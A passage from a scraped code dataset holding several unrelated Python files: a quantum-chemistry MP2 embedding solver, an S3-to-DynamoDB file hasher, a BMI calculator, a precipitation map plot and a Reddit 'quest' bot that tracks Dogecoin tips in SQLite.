FIndices, FIndices, FIndices)] = VUnmatched[0]\n\tVEff[np.ix_(BIndices, BIndices, BIndices, BIndices)] = VUnmatched[1]\n\t#print(VEff)\n\tLosses = LossPacked(VEff, hEff, FIndices, Conds, gAndMO = gAndMO)\n\tLossesVec = MakeLossVector(Losses)\n\t#print(LossesVec)\n\t#print(np.inner(LossesVec, LossesVec))\n\treturn LossesVec\n\ndef dLoss(VEffVec, hEff, FIndices, BIndices, VUnmatched, Conds, gAndMO):\n\tdV = 0.0001\n\tLoss0 = Loss(VEffVec, hEff, FIndices, BIndices, VUnmatched, Conds, gAndMO)\n\tJ = np.zeros((Loss0.shape[0], VEffVec.shape[0]))\n\tJ = J.T\n\tfor i in range(VEffVec.shape[0]):\n\t\tVEffVecPlusdV = VEffVec.copy()\n\t\tVEffVecMinsdV = VEffVec.copy()\n\t\tVEffVecPlusdV[i] += dV\n\t\tVEffVecMinsdV[i] -= dV\n\t\tLossPlusdV = Loss(VEffVecPlusdV, hEff, FIndices, BIndices, VUnmatched, Conds, gAndMO)\n\t\tLossMinsdV = Loss(VEffVecMinsdV, hEff, FIndices, BIndices, VUnmatched, Conds, gAndMO)\n\t\tdLoss = (LossPlusdV - LossMinsdV) / (dV + dV)\n\t\t#print(i)\n\t\t#print(LossPlusdV)\n\t\t#print(LossMinsdV)\n\t\tJ[i] = dLoss\n\tJ = J.T\n\treturn J\n\ndef BacktrackLineSearch(f, x, dx, args, beta = 0.5, y0 = None):\n\talph = 1.0\n\txTest = x + alph * dx\n\tif y0 is None:\n\t\tyInit = np.linalg.norm(f(x, *args))\n\telse:\n\t\tyInit = np.linalg.norm(y0)\n\ty = f(xTest, *args)\n\tyTest = np.linalg.norm(y)\n\twhile(yTest > yInit):\n\t\talph = beta * alph\n\t\txTest = x + alph * dx\n\t\ty = f(xTest, *args)\n\t\tyTest = np.linalg.norm(y)\n\t\tif alph < 1e-20:\n\t\t\tprint(\"Backtrack line search has failed\")\n\t\t\tbreak\n\tprint(\"Linesearch finds alph =\", alph)\n\treturn xTest, y\n\t\n\ndef NewtonRaphson(f, x0, df, args, tol = 1e-6, eps = 1e-6):\n\tF = f(x0, *args)\n\tx = x0.copy()\n\twhile not all([abs(x) < tol for x in F]):\n\t\tJ = df(x, *args)\n\t\tprint(\"L =\", F)\n\t\tprint(\"J\\n\", J)\n\t\ttry:\n\t\t\tJInv = np.linalg.inv(J)\n\t\texcept:\n\t\t\te, V = np.linalg.eig(J)\n\t\t\tJMod = np.zeros(J.shape)\n\t\t\tnp.fill_diagonal(JMod, e + eps)\n\t\t\tJMod = V @ JMod @ V.T\n\t\t\tJInv = np.linalg.inv(JMod)\n\t\tdx = -1.0 * JInv @ F\n\t\tprint(\"dx =\", dx)\n\t\tx, F = BacktrackLineSearch(f, x, dx, args, y0 = F) #x - alp * JInv @ F\n\t\t#F = f(x, *args)\n\t\tprint(\"x =\", x)\n\t\tprint(\"L =\", F)\n\t\tprint((F**2.0).sum())\n\t\tinput()\n\treturn x\n\ndef GaussNewton(f, x0, df, args, tol = 1e-12):\n\tF = f(x0, *args)\n\tx = x0.copy()\n\twhile (F**2.0).sum() > tol:\n\t\tJ = df(x, *args)\n\t\tx = x - np.linalg.inv(J.T @ J) @ J.T @ F\n\t\tF = f(x, *args)\n\t\tprint(F)\n\t\tprint((F**2.0).sum())\n\t\tinput()\n\ndef LevenbergMarquardt(f, x0, df, args, tol = 1e-20, lamb = 1e-6):\n\tF = f(x0, *args)\n\tx = x0.copy()\n\twhile (F**2.0).sum() > tol:\n\t\tJ = df(x, *args)\n\t\tJTJ = J.T @ J\n\t\tNorm = np.zeros(JTJ.shape)\n\t\tnp.fill_diagonal(Norm, np.diag(JTJ))\n\t\tA = (JTJ + lamb * Norm)\n\t\tdelta = np.linalg.solve(A, J.T @ F)\n\t\tx = x - delta\n\t\tF = f(x, *args)\n\t\tprint(x)\n\t\tprint(F)\n\t\tprint((F**2.0).sum())\n\t\t#input()\n\treturn x\n\n\ndef MP2MLEmbedding(hEff, VMO, tMO, TFragOcc, TFragVir, FIndices, VEff0 = None, gFixed = False):\n\tN = 2 * int(len(FIndices))\n\tnFrag = len(FIndices)\n\tBIndices = [i + nFrag for i in FIndices]\n\tif VEff0 is None:\n\t\tVEffVec = np.zeros(4 * nFrag**4)\n\t\tVFFFF = np.zeros((nFrag, nFrag, nFrag, nFrag))\n\t\tVBBBB = np.zeros((nFrag, nFrag, nFrag, nFrag))\n\telse:\n\t\tVFFFF = VEff0[np.ix_(FIndices, FIndices, FIndices, FIndices)]\n\t\tVBBBB = VEff0[np.ix_(BIndices, BIndices, BIndices, BIndices)]\n\n\t\tVBFFF = VEff0[np.ix_(BIndices, FIndices, FIndices, FIndices)]\n\t\tVFBFB = VEff0[np.ix_(FIndices, BIndices, FIndices, BIndices)]\n\t\tVFFBB = VEff0[np.ix_(FIndices, FIndices, BIndices, BIndices)]\n\t\tVFBBB = VEff0[np.ix_(FIndices, BIndices, BIndices, BIndices)]\n\t\tVBFFFVec = ERIToVector(VBFFF)\n\t\tVFBFBVec = ERIToVector(VFBFB)\n\t\tVFFBBVec = ERIToVector(VFFBB)\n\t\tVFBBBVec = ERIToVector(VFBBB)\n\t\tVEffVec = np.concatenate((VBFFFVec, VFBFBVec, VFFBBVec, VFBBBVec))\n\tprint(\"VEff0\\n\", VEff0)\n\n\tVEff = VectorToVSymm(VEffVec, FIndices, BIndices)\n\tVEff[np.ix_(FIndices, FIndices, FIndices, FIndices)] = VFFFF\n\tVEff[np.ix_(BIndices, BIndices, BIndices, BIndices)] = VBBBB\n\n\t# Get Conditions which are fixed.\n\tConds = GetConditions(VEff, hEff, VMO, tMO, TFragOcc, TFragVir, FIndices)\n\n\t# Do RHF to get a fixed g, if desired.\n\tif gFixed:\n\t\tVMOEff, g, TFragEff, CMOEff = FragmentRHF(hEff, VEff, FIndices, ReturnMO = True)\n\t\tgAndMO = [g, CMOEff]\n\telse:\n\t\tgAndMO = None\n\n\t#VEffVec = np.random.rand(VEffVec.shape[0],)\n\t#scan_start = -2.\n\t#scan_end = 2.\n\t#step_size = 0.25\n\t#steps = int((scan_end - scan_start)/step_size) + 1\n\t#f = open('scan.txt', 'w')\n\t#for i in range(steps):\n\t#\tL0 = Loss(np.asarray([0, 0, 0, scan_start + i * step_size]), hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO)\n\t#\tf.write(\"%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\n\" % (scan_start + i * step_size, L0[0], L0[1], L0[2], L0[3], L0[4], L0[5], L0[6]))\n\t#\tf.write(\"%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\n\" % (scan_start + i * step_size, L0[0], L0[1], L0[2], L0[3], L0[4], L0[5]))\n\t#\tfor j in range(steps):\n\t#\t\tfor k in range(steps):\n\t#\t\t\tfor l in range(steps):\n\t#\t\t\t\tL0 = Loss(np.asarray([scan_start + i * step_size, scan_start + j * step_size, scan_start + k * step_size, scan_start + l * step_size]), hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO)\n\t#\t\t\t\tf.write(\"%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\n\" % (scan_start + i * step_size, scan_start + j * step_size, scan_start + k * step_size, scan_start + l * step_size, L0[0], L0[1], L0[2], L0[3]))\n\t#L1 = Loss(np.asarray([1., 0., 0., 0.]), hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO)\n\t#L2 = Loss(np.asarray([0., 1., 0., 0.]), hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO)\n\t#L3 = Loss(np.asarray([0., 0., 1., 0.]), hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO)\n\t#L4 = Loss(np.asarray([0., 0., 0., 1.]), hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO)\n\t#print(L1)\n\t#print(L2)\n\t#print(L3)\n\t#print(L4)\n\t#VEffVec = np.zeros(VEffVec.shape)\n\t#VEffFinal = NewtonRaphson(Loss, VEffVec, dLoss, [hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO])\n\t#VEffFinal = GaussNewton(Loss, VEffVec, dLoss, [hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO])\n\tVEffVecFinal = LevenbergMarquardt(Loss, VEffVec, dLoss, [hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO], tol = 1e-30, lamb = 1e-10)\n\tVEffFinal = VectorToVSymm(VEffVecFinal, FIndices, BIndices)\n\tVEffFinal[np.ix_(FIndices, FIndices, FIndices, FIndices)] = VFFFF\n\tVEffFinal[np.ix_(BIndices, BIndices, BIndices, BIndices)] = VBBBB\n\t#VEffFinal = newton(Loss, VEffVec, args = [hEff, FIndices, BIndices, [VFFFF, VBBBB], Conds, gAndMO], fprime = dLoss, maxiter = 50)\n\treturn VEffFinal\n\ndef MP2EnergyEmbedding(hNoCore, hEff, FIndices, ETarget, VEff0 = None):\n\tN = 2 * int(len(FIndices))\n\tnFrag = len(FIndices)\n\tBIndices = [i + nFrag for i in FIndices]\n\tif VEff0 is None:\n\t\tVEffVec = np.zeros(4 * nFrag**4)\n\t\tVFFFF = np.zeros((nFrag, nFrag, nFrag, nFrag))\n\t\tVBBBB = np.zeros((nFrag, nFrag, nFrag, nFrag))\n\telse:\n\t\tVFFFF = VEff0[np.ix_(FIndices, FIndices, FIndices, FIndices)]\n\t\tVBBBB = VEff0[np.ix_(BIndices, BIndices, BIndices, BIndices)]\n\n\t\tVBFFF = VEff0[np.ix_(BIndices, FIndices, FIndices, FIndices)]\n\t\tVFBFB = VEff0[np.ix_(FIndices, BIndices, FIndices, BIndices)]\n\t\tVFFBB = VEff0[np.ix_(FIndices, FIndices, BIndices, BIndices)]\n\t\tVFBBB = VEff0[np.ix_(FIndices, BIndices, BIndices, BIndices)]\n\t\tVBFFFVec = ERIToVector(VBFFF)\n\t\tVFBFBVec = ERIToVector(VFBFB)\n\t\tVFFBBVec = ERIToVector(VFFBB)\n\t\tVFBBBVec = ERIToVector(VFBBB)\n\t\tVEffVec = VFFBBVec\n\tprint(VEffVec)\n\t# Get Conditions which are fixed.\n\tConds = np.asarray([ETarget])\n\tprint(\"ETarget\", ETarget)\n\n\t# Energy derivative wrt VFFBB\n\tdef dEMP2(VFFBB, hNoCore, h, V, CenterIndices):\n\t\tdV = 0.01\n\t\tVFFBBPlus = VFFBB + dV\n\t\tVFFBBMins = VFFBB - dV\n\t\tVPlus = V.copy()\n\t\tVMins = V.copy()\n\t\tVPlus[np.ix_(FIndices, FIndices, BIndices, BIndices)] = VFFBBPlus\n\t\tVMins[np.ix_(FIndices, FIndices, BIndices, BIndices)] = VFFBBMins\n\t\tEPlus = FragmentRMP2(hNoCore, h, VPlus, CenterIndices)\n\t\tEMins = FragmentRMP2(hNoCore, h, VMins, CenterIndices)\n\t\tdE = (EPlus - EMins) / (2.0 * dV)\n\t\tJ = np.zeros((1,1))\n\t\tJ[0, 0] = dE\n\t\treturn J\n\tdef ELoss(VFFBB, hNoCore, h, V, CenterIndices):\n\t\tVLocal = V.copy()\n\t\tVLocal[np.ix_(FIndices, FIndices, BIndices, BIndices)] = VFFBB\n\t\tE = FragmentRMP2(hNoCore, h, VLocal, CenterIndices)\n\t\tprint(\"EFrag\", E)\n\t\treturn np.asarray([E]) - Conds\n\t# Do RHF to get a fixed g, if desired.\n\n\tVEffVecFinal = LevenbergMarquardt(ELoss, VEffVec, dEMP2, [hNoCore, hEff, VEff0, FIndices], tol = 1e-30, lamb = 1e-10)\n\tprint(VEffVecFinal)\n\treturn VEffVecFinal\n\n\ndef CombinedIndex(Indices, nFB):\n\tif len(Indices) == 2:\n\t\ti = Indices[0] + nFB * Indices[1]\n\tif len(Indices) == 4:\n\t\ti = Indices[0] + nFB * Indices[1] + nFB * nFB * Indices[2] + nFB * nFB * nFB * Indices[3]\n\treturn i\n\t\n\nif __name__ == '__main__':\n\tfrom functools import reduce\n\tfrom pyscf import gto, scf, mp, lo, ao2mo\n\tfrom frankenstein.tools.tensor_utils import get_symm_mat_pow\n\tN = 6\n\tnocc = int(N / 2)\n\tr = 1.0\n\tmol = gto.Mole()\n\tmol.atom = []\n\tfor i in range(N):\n\t\tangle = i / N * 2.0 * np.pi\n\t#\tif i == 1:\n\t#\t\tangle = angle + 0.8 * angle\n\t\tmol.atom.append(('H', (r * np.sin(angle), r * np.cos(angle), 0)))\n\tmol.basis = 'sto-3g'\n\tmol.build()\n\tmf = scf.RHF(mol)\n\tmf.kernel()\n\tprint(\"E_elec(HF) =\", mf.e_tot - mf.energy_nuc())\n\n\tnocc = int(np.sum(mf.mo_occ) / 2)\n\n\tS = mol.intor_symmetric(\"int1e_ovlp\")\n\tmo_coeff = mf.mo_coeff\n\tStoOrth = get_symm_mat_pow(S, 0.50)\n\tStoOrig = get_symm_mat_pow(S, -0.5)\n\tmo_occ = mo_coeff[:, :nocc]\n\tmo_occ = np.dot(StoOrth.T, mo_occ)\n\tP = np.dot(mo_occ, mo_occ.T)\n\tNf = 1\n\tPFrag = P[:Nf, :Nf]\n\tPEnvBath = P[Nf:, Nf:]\n\teEnv, vEnv = np.linalg.eigh(PEnvBath)\n\tthresh = 1.e-9\n\tBathOrbs = [i for i, v in enumerate(eEnv) if v > thresh and v < 1.0 - thresh]\n\tEnvOrbs = [i for i, v in enumerate(eEnv) if v < thresh or v > 1.0 - thresh]\n\tCoreOrbs = [i for i, v in enumerate(eEnv) if v > 1.0 - thresh]\n\tTBath = vEnv[:,BathOrbs]\n\tTBath = np.concatenate((np.zeros((Nf, TBath.shape[1])), TBath))\n\tTEnv = vEnv[:,EnvOrbs]\n\tTEnv = np.concatenate((np.zeros((Nf, TEnv.shape[1])), TEnv))\n\tTFrag = np.eye(TBath.shape[0], Nf)\n\tTSch = np.concatenate((TFrag, TBath), axis = 1)\n\tT = np.concatenate((TSch, TEnv), axis = 1)\n\tBathOrbs = [x + Nf for x in BathOrbs]\n\tSchOrbs = [0] + BathOrbs\n\tEnvOrbs = [x + Nf for x in EnvOrbs]\n\tPEnv = reduce(np.dot, (TEnv.T, P, TEnv))\n\tPSch = reduce(np.dot, (TSch.T, P, TSch))\n\tPEnv[PEnv < thresh] = 0.0\n\tPEnv[PEnv > 1.0 - thresh] = 1.0\n\tprint(PSch)\n\tprint(PEnv)\n\n\tFIndices = list(range(Nf)) # In the Schmidt space\n\tBIndices = list(range(Nf, 2 * Nf)) # In the Schmidt space\n\tSIndices = FIndices + BIndices\n\tCoreIdx = [i + Nf for i in CoreOrbs]\n\n\tTTotal = np.dot(StoOrig, T)\n\tTMOtoAO = np.linalg.inv(mo_coeff)\n\tTMOtoSO = np.dot(TMOtoAO, TTotal)\n\tTFragMOtoSO = TMOtoSO[:, FIndices]\n\tTFragOccMOtoSO = TFragMOtoSO[:nocc, :]\n\tTFragVirMOtoSO = TFragMOtoSO[nocc:, :]\n\n\thSO = reduce(np.dot, (TTotal.T, mf.get_hcore(), TTotal))\n\tVSO = ao2mo.kernel(mol, TTotal)\n\tVSO = ao2mo.restore(1, VSO, hSO.shape[0])\n\thMO = reduce(np.dot, (mo_coeff.T, mf.get_hcore(), mo_coeff))\n\tVMO = ao2mo.kernel(mol, mo_coeff) #np.eye(TTotal.shape[0]))\n\tVMO = ao2mo.restore(1, VMO, hMO.shape[0])\n\n\tVFrag = VSO[SIndices, :, :, :][:, SIndices, :, :][:, :, SIndices, :][:, :, :, SIndices]\n\thFrag = hSO[SIndices, :][:, SIndices]\n\thNoCore = hFrag.copy()\n\tfor i in SIndices:\n\t\tfor j in SIndices:\n\t\t\tCoreContribution = 0.0\n\t\t\tfor c in CoreIdx:\n\t\t\t\tCoreContribution += (2.0 * VSO[i, j, c, c] - VSO[i, c, c, j])\n\t\t\thFrag[i, j] += CoreContribution\n\n\tmp2 = mp.MP2(mf)\n\tE, T2 = mp2.kernel()\n\tprint(\"E_elec(MP2) =\", mf.e_tot + E - mf.energy_nuc())\n\tEMP2 = mf.e_tot + E - mf.energy_nuc()\t\n\n\tNocc = T2.shape[0]\n\tNvir = T2.shape[2]\n\tNorb = Nocc + Nvir\n\tprint(T2.shape)\n\tt2 = np.zeros((Nocc, Nocc, Nvir, Nvir))\n\tfor i in range(Nocc):\n\t\tfor j in range(Nocc):\n\t\t\tfor a in range(Nvir):\n\t\t\t\tfor b in range(Nvir):\n\t\t\t\t\tt2[i, j, a, b] = 2.0 * T2[i, j, a, b] - T2[i, j, b, a]\n\t#t2 = T2\n\n\t#VMO_VVVV = np.zeros((Norb, Norb, Norb, Norb))\n\t#VMO_VVVV[Nocc:, Nocc:, Nocc:, Nocc:] = VMO[Nocc:, Nocc:, Nocc:, Nocc:]\n\t#VSO_VVVV = np.einsum('ap,bq,cr,ds,abcd->pqrs', TTotal, TTotal, TTotal, TTotal, VMO_VVVV)\n\n\t#VMO_OOVV = np.zeros((Norb, Norb, Norb, Norb))\n\t#VMO_OOVV[:Nocc, :Nocc, Nocc:, Nocc:] = VMO[:Nocc, :Nocc, Nocc:, Nocc:]\n\t#VSO_OOVV = np.einsum('ap,bq,cr,ds,abcd->pqrs', TTotal, TTotal, TTotal, TTotal, VMO_OOVV)\n\n\t#tMO_Occ = np.zeros((Norb, Norb, Norb, Norb))\n\t#tMO_Vir = np.zeros((Norb, Norb, Norb, Norb))\n\n\t#MP2EnergyEmbedding(hNoCore, hFrag, FIndices, EMP2 / N, VEff0 = VFrag)\n\tVML = MP2MLEmbedding(hFrag, VMO, t2, TFragOccMOtoSO, TFragVirMOtoSO, FIndices, VEff0 = VFrag, gFixed = True)\n\n\tFragE = FragmentRMP2(hNoCore, hFrag, VML, FIndices)\n\tprint(FragE*N)\n\tprint(EMP2)\n\t#print(int(N / Nf) * FragE + mol.energy_nuc())\n\t#print(int(N / Nf) * FragE)\n\t\n","repo_name":"the-hktran/TranIEST","sub_path":"traniest/bootstrap/mp2_ml.py","file_name":"mp2_ml.py","file_ext":"py","file_size_in_byte":27691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15392063164","text":"# Imports\nimport json\nimport boto3\nfrom boto3 import client\nimport hashlib\nimport filecmp\n\n# Insert into table : people\ndef insert_into_hashes_files(client_, hash_id):\n new_item={\n 'hashId': {\n 'B': hash_id,\n }\n }\n \n response = client_.put_item(\n # The name of the table\n TableName='hashes-files',\n Item = new_item,\n ReturnConsumedCapacity='TOTAL'\n )\n\n\n# Function that read my cred\ndef get_conf(conf_file):\n try:\n with open(conf_file, 'r') as credfile:\n confdata = json.load(credfile)\n return confdata\n except OSError :\n return {'access_key_id': None, 'secret_access_key': None, 'region': None} \n\n# The main function that connect to my user on AWS console, and insert the query.\ndef dynamodb():\n creds = get_conf('cred.json')\n print(creds)\n client_ = boto3.client('dynamodb', aws_access_key_id=creds['access-key-id'],\n aws_secret_access_key=creds['secret-access-key'],\n region_name=creds['region'])\n hasher = hashlib.sha256()\n conn = client('s3') # again assumes boto.cfg setup, assume AWS S3\n for key in conn.list_objects(Bucket='mainbucketwithouthash')['Contents']:\n #print(key['Key'])\n file = key['Key']\n # Hash\n f = open(file, \"rb\")\n text = f.read()\n hasher.update(text)\n hashed = hasher.hexdigest()\n insert_into_hashes_files(client_, hashed)\n\n\n\n\n# Calling the main function.\ndynamodb()","repo_name":"shadibdair/AWS","sub_path":"DynamoDB/hasher/s3_insert_file_dynamodb.py","file_name":"s3_insert_file_dynamodb.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34216169445","text":"'''Este programa pide al usuario su peso y estatura,\ny luego calcula el índice de masa corporal (IMC) dividiendo el peso\n por la estatura al cuadrado. \nFinalmente, imprime el resultado redondeado a dos decimales.'''\n\n\npeso = float(input(\"Introduce tu peso en kg: \"))\nestatura = float(input(\"Introduce tu estatura en metros: \"))\n\nimc = peso / (estatura ** 2)\n\nprint(f\"Tu índice de masa corporal es {imc:.2f}\")\n","repo_name":"Eddycitox/OpenBootCamp","sub_path":"prueba3.py","file_name":"prueba3.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"19170534071","text":"# Load modules\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nimport numpy as np\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\n\n# Get files\npath = \"/Users/kaktus/Documents/ETH/BECCY/myscripts/data/ctrl/\"\nfile = 'test.nc'\n\n# open file\nds = xr.open_dataset(path + file)\nprec = ds[\"TOT_PREC\"].values[0, :, :]\nlat = ds[\"lat\"].values\nlon = ds[\"lon\"].values\nds.close()\n\n###############################################################################\n# Normalize colorbar\n###############################################################################\ncolor1 = plt.get_cmap('terrain')(np.linspace(0.22, 1, 256))\nall_colors = np.vstack(color1)\ncmap = colors.LinearSegmentedColormap.from_list('terrain', all_colors)\n\n\n###############################################################################\n# Plot\n###############################################################################\ndef main():\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1, projection=ccrs.PlateCarree())\n\n ax.plot(projection=ccrs.PlateCarree())\n\n cs = ax.contourf(lon, lat, prec, transform=ccrs.PlateCarree(), levels=np.linspace(0, 20, 21), cmap='YlGnBu', vmin=0,\n vmax=20, extend='max')\n\n ax.set_title(\"Summer Precipitation\")\n ax.set_extent([78, 150, 7, 55], crs=ccrs.PlateCarree())\n ax.add_feature(cfeature.LAND)\n ax.add_feature(cfeature.COASTLINE)\n ax.add_feature(cfeature.BORDERS, linestyle=':')\n ax.add_feature(cfeature.LAKES, alpha=0.5)\n ax.add_feature(cfeature.RIVERS)\n\n ax.gridlines(draw_labels=True, linewidth=1, color='grey', alpha=0.5, linestyle='--')\n\n cb = fig.colorbar(cs, orientation='horizontal', shrink=0.7, ax=ax, pad=0.1)\n cb.set_label('mm/day')\n\n fig.savefig('test.png', dpi=300)\n\n\nif __name__ == '__main__':\n main()\n###############################################################################\n","repo_name":"ruolanxixi/cosmo_scripts","sub_path":"lgm_contour.py","file_name":"lgm_contour.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21108552641","text":"\nimport time # Times\nimport sqlite3 # easy and fast SQL\nimport praw # simple interface to the reddit API, also handles rate limiting of requests\nimport re # REGEX stuff\nimport sys # System\nimport logging # For logging\n\n#$ Setting Basic Logging Config.\nlogging.basicConfig(filename='quesbot.log', level=logging.DEBUG)\n\n\n'''USER CONFIGURATION'''\n\n# THIS SET IT A LAYOVER FROM THE \"SUBMISSION REPLYBOT\" on GitHub and includes login credentials\n\nUSERNAME = \"\"\n# This is the bot's Username. In order to send mail, he must have some amount of Karma.\nPASSWORD = \"\"\n# This is the bot's Password.\nUSERAGENT = \"\"\n# This is a short description of what the bot does. For example \"/u/trip96 Quest\"\nSUBREDDIT = \"questbot\"\n# This is the sub or list of subs to scan for new posts. For a single sub, use \"sub1\".\n# For multiple subreddits, use \"sub1+sub2+sub3+...\"\nTITLESTRING = [\"[QUEST]\"]\n# These are the words you are looking for in the titles.\nMAXPOSTS = 100\n# This is how many posts you want to retrieve all at once. PRAW can download 100 at a time.\nWAIT = 20\n# This is how many seconds you will wait between FULL cycles. The bot is completely inactive during this time.\n\n\n# THIS IS For THE DOGETIPBOT and questbot comment CHECKER PROGRAM\n\nuser = 'dogetipbot'\nself = 'questbot'\n\n\n\n# SO I CAN PUBLISH WIHTHOUT LOGIN CREDENTIALS\nWAITS = str(WAIT)\ntry:\n import \\\n credentials # This is a file in my python library which contains my Bot's username and password. I can push code to Git without showing credentials\n\n USERNAME = credentials.get_username()\n PASSWORD = credentials.get_password()\n USERAGENT = credentials.get_user_agent()\nexcept ImportError:\n pass\n\nprint(\"------------------------------------------------------------------------------------------------\")\nprint(\"Initializing Program\")\nprint(\"------------------------------------------------------------------------------------------------\")\n\n# SQL Connection\n\nsql = sqlite3.connect('sql.db')\nprint('Loaded SQL Database')\ncur = sql.cursor()\n\ncur.execute('CREATE TABLE IF NOT EXISTS quests'\n '(quest_id TEXT, reply_id TEXT, author TEXT, bounty REAL, completed TEXT, champion TEXT, post_full TEXT)')\n\ncur.execute('CREATE TABLE IF NOT EXISTS users'\n '(username TEXT, reputation REAL, xp REAL, level REAL)')\n\ncur.execute('CREATE TABLE IF NOT EXISTS oldposts(ID TEXT)')\n\nprint('Loaded Completed tables')\n\nsql.commit()\n\n\n#REDDIT LOGIN USING PRAW\n\nprint(\"Attempting Reddit Login\")\nr = praw.Reddit(USERAGENT)\nr.login(USERNAME, PASSWORD)\nprint(\"Successfully Logged in to Reddit using credentials\")\n\n#SCAN DOGETIPBOT'S COMMENTS FOR TIPS TO QUESTBOT AND LIFT THE VALUE FOR TIPS\n#This is the definitions it uses, populated strings using the append function.\n\nprevious_posts = []\n\n# Set of Subroutines For scanning Dogetipbots comments\n\n# Getting new Posts for dogetipbot\n\ndef get_new_posts(reddit_user):\n posts = [post for post in reddit_user.get_comments() if post not in previous_posts]\n return posts\n\n\n# For keeping track of dogetipbots comments by adding old posts to the list (array).\n\ndef add_previous_posts():\n reddit_user = r.get_redditor(user)\n for previous_post in get_new_posts(reddit_user):\n previous_posts.append(previous_post) # add old posts to the array\n\n\n# Dogetipbot Comment Parsing engine for REGEX. Returns cleaner text\n\ndef process(text):\n text = text.split(':')[1][1:]\n for x in ['&nbsp;', ['->', '->'], '^', '_', '^', '[[help]](http']:\n if type(x) is list:\n text = text.replace(x[0], x[1])\n else:\n text = text.replace(x, '')\n return text\n\n\n# Get QUESTING USER information - Used for grabbing info from the SQL database\n\ndef get_user_reputation(pauthor):\n logging.debug(\"Getting REPUTATION for: \" + pauthor)\n for reputation in cur.execute('SELECT reputation FROM users WHERE username=\"%s\"' % pauthor.lower()):\n reputation_value = (\"\".join(map(str, reputation)))\n logging.debug(\"REPUTATION is: \" + reputation_value)\n return reputation_value\n\n\ndef get_user_level(pauthor):\n logging.debug(\"Getting LEVEL for: \" + pauthor)\n for level in cur.execute('SELECT level FROM users WHERE username=\"%s\"' % pauthor.lower()):\n level_value = (\"\".join(map(str, level)))\n logging.debug(\"LEVEL is: \" + level_value)\n return level_value\n\n\ndef get_user_xp(pauthor):\n logging.debug(\"Getting XP for: \" + pauthor)\n for xp in cur.execute('SELECT xp FROM users WHERE username=\"%s\"' % pauthor.lower()):\n xp_value = (\"\".join(map(str, xp)))\n logging.debug(\"XP Value is: \" + xp_value)\n return xp_value\n\n\ndef get_quest_author(bounty_id):\n logging.debug(\"Getting QUEST AUTHORr for: \" + bounty_id)\n for author in cur.execute('SELECT author FROM quests WHERE quest_id=\"%s\"' % bounty_id):\n qauthor = (\"\".join(map(str, author)))\n logging.debug(\"Quest Author is: \" + qauthor)\n return qauthor\n\n\ndef get_link_id(bounty_id):\n logging.debug(\"Getting Link ID for: \" + bounty_id)\n for linkid in cur.execute('SELECT reply_id FROM quests WHERE quest_id=\"%s\"' % bounty_id):\n reply_id = (\"\".join(map(str, linkid)))\n logging.debug(\" REPLY LINK ID is: \" + reply_id)\n return reply_id\n\n\ndef get_bounty(bounty_id):\n logging.debug(\"Getting BOUNTY for: \" + bounty_id)\n for bounty in cur.execute('SELECT bounty FROM quests WHERE quest_id=\"%s\"' % bounty_id):\n bounty_value = (\"\".join(map(str, bounty)))\n logging.debug(\"Bounty is: \" + bounty_value)\n return bounty_value\n\n\ndef get_quest_completed(bounty_id):\n logging.debug(\"Getting COMPLETION STATUS for: \" + bounty_id)\n for completed in cur.execute('SELECT completed FROM quests WHERE quest_id=\"%s\"' % bounty_id):\n quest_completed = (\"\".join(map(str, completed)))\n logging.debug(\"QUEST COMPLETION STATUS is: \" + quest_completed)\n return quest_completed\n\n\n## SET FLAIRS\n\n\ndef set_flair_complete(bounty_id):\n logging.debug(\"Setting Flair status to COMPLETE\")\n cur.execute('SELECT post_full FROM quests WHERE quest_id=\"%s\"' % bounty_id)\n post_full = (\"\".join(map(str, cur.fetchone())))\n flair_post = r.get_submission(url=post_full)\n flair_post.set_flair(flair_text=\"COMPLETED\", flair_css_class=\"completed\")\n logging.debug(\"Flair Status has successfully been changed to COMPLETE\")\n\n\ndef set_flair_available(post_full):\n logging.debug(\"Setting Flair status to Available\")\n flair_post = r.get_submission(url=post_full)\n flair_post.set_flair(flair_text=\"Available\", flair_css_class=\"available\")\n logging.debug(\"Flair status has successfully been changed to COMPLETE\")\n\n\n\n# Function to Add original quest_id to table (used for keeping a live and updated balance later on)\n\ndef get_quest_reply_id(pid):\n logging.debug(\"Attempting to retrieve and insert into database reply_id (link) for quest \" + pid + \"...\")\n print(\"Attempting to retrieve and insert into database reply_id (link) for quest \" + pid + \"...\")\n pid = str(pid)\n reddit_self = r.get_redditor(self)\n try:\n for post in get_new_questbot_post_id(reddit_self):\n reply_id = post.permalink\n cur.execute(\"UPDATE quests SET reply_id='%s' WHERE quest_id='%s' \" % (reply_id, pid))\n sql.commit()\n print(\"Successfully inserted reply_id into quests table. Now 30 Sec PRAW refresh WAIT\")\n logging.debug(\"Successfully inserted reply_id into quests table. Now 30 Sec PRAW refresh WAIT\")\n time.sleep(31) # has to be longer than 30 seconds due to PRAW limitations.\n logging.debug(\"PRAW WAIT OVER, moving on...\")\n\n except praw.errors.RateLimitExceeded as err:\n print(\"Rate Limit Exceeded:\\n\" + str(err), sys.stderr)\n\n\n# Get last Comment QUESTBOT made for getting the UPDATE LINK (aka link_id) (USES 30 sec sleep for PRAW Cache refresh)\n\ndef 